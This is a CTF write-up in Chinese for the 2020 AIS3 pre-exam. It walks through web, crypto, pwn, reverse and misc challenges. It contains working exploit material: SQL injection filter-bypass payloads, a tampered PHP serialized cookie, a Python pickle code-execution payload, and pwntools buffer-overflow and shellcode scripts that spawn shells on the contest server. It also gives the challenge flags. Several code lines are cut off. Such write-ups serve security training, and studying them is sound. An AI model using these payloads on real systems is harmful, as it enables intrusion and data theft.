2020 AIS3 pre-exam write up

參賽者

- 姓名: 林哲宇
- 比賽 ID: zezectf

Web

Squirrel

1. 查看原始碼之後會發現網站有透過對 `/api.php` 的 GET 參數 `/etc/passwd` 做處理，因此猜到可以做 path traversal。
2. 將 GET 參數設成 `./api.php` 可以看到原始碼，進而發現其中的 php 有 command injection
3. 於是可以注入 reverse shell 進入 server 拿到 flag `AIS3{5qu1rr3l_15_4_k1nd_0f_b16_r47}`

Shark

1. 進入頁面後，有個提示的路徑為 `https://shark.ais3.org/?path=hint.txt` ，並且告訴我們 flag 在 internal server 中
2. 透過對 GET 參數 `path` 的 path traversal，將參數填為 `/proc/net/tcp` ，發現 172.22.0.3
3. 跟去年一樣，稍微找找前後的 IP，最後發現 flag 在 `172.22.0.2/flag` 中 `AIS3{5h4rk5_d0n'7_5w1m_b4ckw4rd5}`
4.

Elephant

- 這題我沒有看到 source code

1. 把它給的 cookie 做 base64 decode，可以發現有一串序列化字串
2. 將 `name` 欄位改掉，例如原本拿到的 cookie 是 `Tzo0OiJVc2VyIjoyOntzOjQ6Im5hbWUiO3M6NToiYWRtaW4iO3M6MTE6IgBVc2VyAHRva2VuIjtzOjMyOiI1ZDg1ZjQ4YWZjMGJkN2U3MzYzZjIwYzE1OTA2YTg5ZCI7fQ%3D%3D` ，base64 decode 後是 `O:4:"User":2:{s:4:"name";s:5:"admin";s:11:" User token";s:32:"5d85f48afc0bd7e7363f20c15906a89d";}` 。把 `admin` 改成 `adminn` ，並且把前面的 `5` 改成 `6` ，之後轉成 base64 `Tzo0OiJVc2VyIjoyOntzOjQ6Im5hbWUiO3M6NjoiYWRtaW5uIjtzOjExOiIgVXNlciB0b2tlbiI7czozMjoiNWQ4NWY0OGFmYzBiZDdlNzM2M2YyMGMxNTkwNmE4OWQiO30K`
3. 最後丟回 cookie，就可以拿到 flag `AIS3{0nly_3l3ph4n75_5h0uld_0wn_1v0ry}`
4.

Snake

```
import pickle
import os
import requests
import base64

class BadThing:
    def __init__(self, cmd):
        self.cmd = cmd

    def __reduce__(self):
        return (eval, (self.cmd,))

serialized = pickle.dumps(BadThing('open("/flag").read()'))
print(base64.b64encode(serialized))
```

Owl

1. 看 source code 發現，它會過濾這些字元 `$bad = [' ', '/*', '*/', 'select', 'union', 'or', 'and', 'where', 'from', '--'];` ，而且會用 `$username = str_ireplace($bad, '', $username)` 過濾兩次，也就是說如果今天輸入的是 `ooorrr` ，最後的 `$username` 會變成 `or` ，可以用這個方法繞過。空白鍵可以用 `/oorr**oorr/` 繞過等等
2. 看 source code 知道是 sqlite，所以查了它怎麼印出 table name，一般情況下是用類似 `select tbl_name from sqlite_master`
3. 用 union-based sqli 構造 payload `' union select 1,tbl_name,3 from sqlite_master limit 0,1/*` 會變成 `'unoorrion/oorr**oorr/seloorrect/oorr**oorr/1,tbl_name,3/oorr**oorr/frfrfromomom/oorr**oorr/sqlite_master/oorr**oorr/limit/oorr**oorr/1,1/oorr*` 。欄位數 = 3 是一個一個試出來的
4. 發現有一個 table 叫做 `garbage` ，一開始不以為意，沒想到 flag 在裡面， garbage 有三個欄位 `id, name, value`
5. 構造 `' union select 1,value,3 from garbage limit 0,1/*` 會變成 `'/oorr**oorr/unoorrion/oorr**oorr/seloorrect/oorr**oorr/1,value,3/oorr**oorr/frfrfromomom/oorr**oorr/garbage/oorr**oorr/limit/oorr**oorr/1,1/oorr*`
6. 調整 limit 將 value 一個一個取出來就會發現 flag `AIS3{4_ch1ld_15_4_curly_d1mpl3d_lun471c}`
7.

Crypto

Brontosaurus

看起來就是 jsfuck，並且題目敘述說這是去年的題目。所以我翻了去年的題目，把它翻轉後印到 console，就拿到 flag `AIS3{Br0n7Os4uru5_ch3at_3asi1Y}`

T-Rex

貌似是 virginia cipher 改版
``

```
table = {'!!':'V', '@!':'F', '#!':'Y', '$!':'J', '%!':'6', '&!':'1', '!@':'5', '@@':'0',

cipher = '&$ !# $# @% { %$ #! $& %# &% &% @@ $# %# !& $& !& !@ _ $& @% $$ _ @$ !# !! @% _

flag = ''
for c in cipher:
    try:
        flag += table[c]
    except:
        print(c)
        flag += c

print(flag)
# AIS3{TYR4NN0S4URU5_R3X_GIV3_Y0U_SOMETHING_RANDOM_5TD6XQIVN3H7EUF8ODET4T3H907HUC69L6LTSH
```

Octopus

看了這篇，了解運作原理後，發現題目什麼東西都給了，所以就逆回去
https://medium.com/@kelispinor/量子加密技術極簡介-qkd-quantum-key-distribution-a795a470ff83

(https://medium.com/@kelispinor/%E9%87%8F%E5%AD%90%E5%8A%A0%E5%AF%86%E6%8A%80%E8%A1%93%E6%A5%B5%E7%B0%A1%E4%BB%8B-qkd-quantum-key-distribution-a795a470ff83)

Alice's random bit	0	1	1	0	1	0	0	1
Alice's random sending basis	+	+	×	+	×	×	×	+
Photon polarization Alice sends	↑	→	↘	↑	↘	↗	↗	→
Eve's random measuring basis	+	×	+	+	×	+	×	+
Polarization Eve measures and sends	↑	↗	→	↑	↘	→	↗	→
Bob's random measuring basis	+	×	×	×	+	×	+	+
Photon polarization Bob measures	↑	↗	↗	↘	→	↗	↑	→
PUBLIC DISCUSSION OF BASIS								
Shared secret key	0		0			0		1
Errors in key	✓		✘			✓		✓

```
cipher = 211460526181534071242465941322564750731787295294236649780082346231293222879903195

key = ''
for b1, b2, q in zip(basis, myBasis, qubits):
    ran = 1
    if q == (1+0j) or q == complex(0.707, +0.707):
        ran = 0
    if b1 == b2:
        key += str(ran)

print(hex(int(key[:400], 2) ^ cipher))
# AIS3{EveryONe_kn0w_Quan7um_k3Y_Distr1but1on--BB84}
```

Pwn

BOF

要注意字元對齊，所以填了一個 ret

```
from pwn import *

gets_buf = 0x7fffffffe360
ret_buf = 0x7fffffffe398

ret = 0x400730
sh = 0x400687

r = remote('60.250.197.227', 10000)
r.recvuntil('18.04')
r.sendline('a' * (ret_buf - gets_buf) + p64(ret) + p64(sh))
r.interactive()
# AIS3{OLd_5ChOOl_tr1ck_T0_m4Ke_s7aCk_A116nmeNt}
```

Nonsense

構造一個 31 < shellcode < 128。我把 `/bin/sh` 塞在 name，因為不能用 syscall `0f05` ，所以我在 shellcode 中把最後的 `wubbadubba` 的 `wu` 改成 `0f05`

```
from pwn import *

context.binary = './chal'
byte_601040 = 'wubbalubbadubdub'
name = 0x601100


shellcode = '\x52\x58\x34\x7B\x50\x5B\x68\x61\x78\x61\x61\x58\x30\x23\x52\x58\x34\x7C\x50

print(len(shellcode))

r = remote('60.250.197.227', 10001)
#r = process('chal')
#gdb.attach(r)
r.sendafter('name', '/bin//sh\0')
r.sendafter('yours?', shellcode + byte_601040)
r.interactive()
# AIS3{Y0U_5peAk_$helL_codE_7hat_iS_CARzy!!!}
```

Reverse

TsaiBro

跑過所有的字元，紀錄它的跑出來的結果，在比對 TsaiBroSaid 檔案後拿到 flag

```
# coding=utf-8
from pwn import *
import string

def gettable():
    table = [['' for i in range(9)] for j in range(9)]

    corres = open('corres', 'a')
    for c in string.printable:
        try:
            p = process(['./TsaiBro', c])
            res = p.recvall(1).split('\n')[1]
            first, second = len(res.split('發財')[1]), len(res.split('發財')[2])
            table[first][second] = c
        except:
            pass
    print(table)
    return table

table = gettable()

tsai = open('TsaiBroSaid').read().split('\n')[1].split('發財')[1:]
flag = ''
for i in range(0, len(tsai), 2):
    flag += table[len(tsai[i])][len(tsai[i+1])]
print(flag)
# AIS3{y3s_y0u_h4ve_s4w_7h1s_ch4ll3ng3_bef0r3_bu7_its_m0r3_looooooooooooooooooong_7h1s_t1
```

Fallen Beat

1. 把 jar 檔案做 decompile 之後，在 `Visual/PanelEnding.java` 中的 setValue 函式發現一個陣列 `[89, 74, 75, 43, 126, 69, 120, 109, 68, 109, 109, 97, 73, 110, 45, 113, 102, 64, 121, 47, 111, 119, 111, 71, 114, 125, 68, 105, 127, 124, 94, 103, 46, 107, 97, 104]`，這遊戲拿這個陣列跟一個變數名稱叫 `cache` 的陣列做 xor。
2. 在 `/Control/GameControl.java` 發現使用這個函式，最後循線發現 cache 原來是 `Fallen_Beat/songs/gekkou/hell.txt` 這個檔案的所有數字
3. 所以寫了一個 python script 去跑這個迴圈逆回去，就拿到 flag 了

```
cipher = [89, 74, 75, 43, 126, 69, 120, 109, 68, 109, 109, 97, 73, 110, 45, 113, 102, 64,
key = open('Fallen_Beat/songs/gekkou/hell.txt').read().split('\n')[2:]
for k in range(len(key)):
    cipher[k % len(cipher)] = int(key[k].strip()) ^ cipher[k % len(cipher)]
print(''.join(chr(c) for c in cipher))
# AIS3{Wow_how_m4ny_h4nds_do_you_h4ve}
```

Stand up!Brain

1. 用 ida 打開後看到 `asc_201020` 有很多奇怪的字元，後面的 for 迴圈會根據這些字元做不一樣的事情，其中 `.` 會印出一個字元。
2. 本來想到的解法是透過 flag 的前幾個字 `AIS3{` 來推出 password，結果才剛數完前面 `-` 的個數就發現原來 password 就是 `-` 的數量的 ascii，也就是 `C8763!`
3. 執行檔案之後輸入 `C8763!` 就拿到 flag `AIS3{Th1s_1s_br4iNFUCK_bu7_m0r3_ez}`

Misc

Piquero

題目給了盲人的點字，但是不同地區的似乎不盡相同，最後用這個網站 https://en.wikipedia.org/wiki/Braille (https://en.wikipedia.org/wiki/Braille) 就拿到 flag `AIS3{I_feel_sleepy_Good_Night!!!}`

Karuego

用 binwalk 可以取出 zip 檔案，只是加密了，不過用 fcrackzip 拿 rockyou.txt 當字典一下就爆出來密碼 `lafire` ，解壓縮後拿到 flag `AIS3{Ar3_y0u_r34l1y_r34dy_t0_sumnn0n_4_D3m0n?}`

Soy

題目給了一個被遮住一部份的 QRcode，我用 qrazybox，把能看到的部分都還原後就拿到 flag `AIS3{H0w_c4n_y0u_f1nd_me?!?!?!!}`

Saburo

題目沒給原始碼，只能 nc，所以觀察規律發現輸入越接近 flag，數字就會越大，但是每次輸出的數字又不太一樣，但是的確是在某個區間。所以我一開始先輸入 `AIS3{` 並重複 40 次找平均值，之後開始測試每個字元。如果有字元輸出的數字比上一個的平均值還要大超過 10，就算出加入這個字元後的平均值，如果這個平均值比上一個的平均值還要大超過 10，就把這個字元加入 flag 中。以此類推就拿到 flag `AIS3{A1r1ght_U_4r3_my_3n3nnies}`

```
from pwn import *
import string

def connect(guess):
    r = remote('60.250.197.227', 11001)
    r.sendline(guess)
    res = int(r.recvall(1).split(' ')[5])
    return res

now = 341
flag = 'AIS3{A1r1ght_U_4r3_my_3n3'
while True:
    for s in string.printable:
        print('guess {}'.format(s))
        #print(flag)
        res = connect(flag + s)
        if res - now >= 10:
            max_ = 0
            min_ = 99999999999999999999
            for i in range(40):
                res = connect(flag + s)
                if max_ < res:
                    max_ = res
                if min_ > res:
                    min_ = res
            avg = (max_ + min_) / 2

            if avg < now + 10:
                continue

            now = avg
            flag += s
            print('avg {}'.format(now))
            print(flag)
            open('flag', 'a').write(flag + '\n')
            break
```

Shichirou

題目會把我們傳給它的 tar 檔案解壓縮後，比對我們的 guess.txt，看是否和它的 flag.txt 的 sha 一樣。所以只要將 guess.txt 用 link 指向 flag.txt 然後把包進 tar 檔案後傳到 server 上就能拿到 flag

```
AIS3{Bu223r!!!!_I_c4n_s33_e_v_e_r_y_th1ng!!}
```

```
from pwn import *

r = remote('60.250.197.227', 11000)

tar = open('chal.tar').read()
r.sendline(str(len(tar)))
r.sendline(tar)
print(r.recvall(1))
```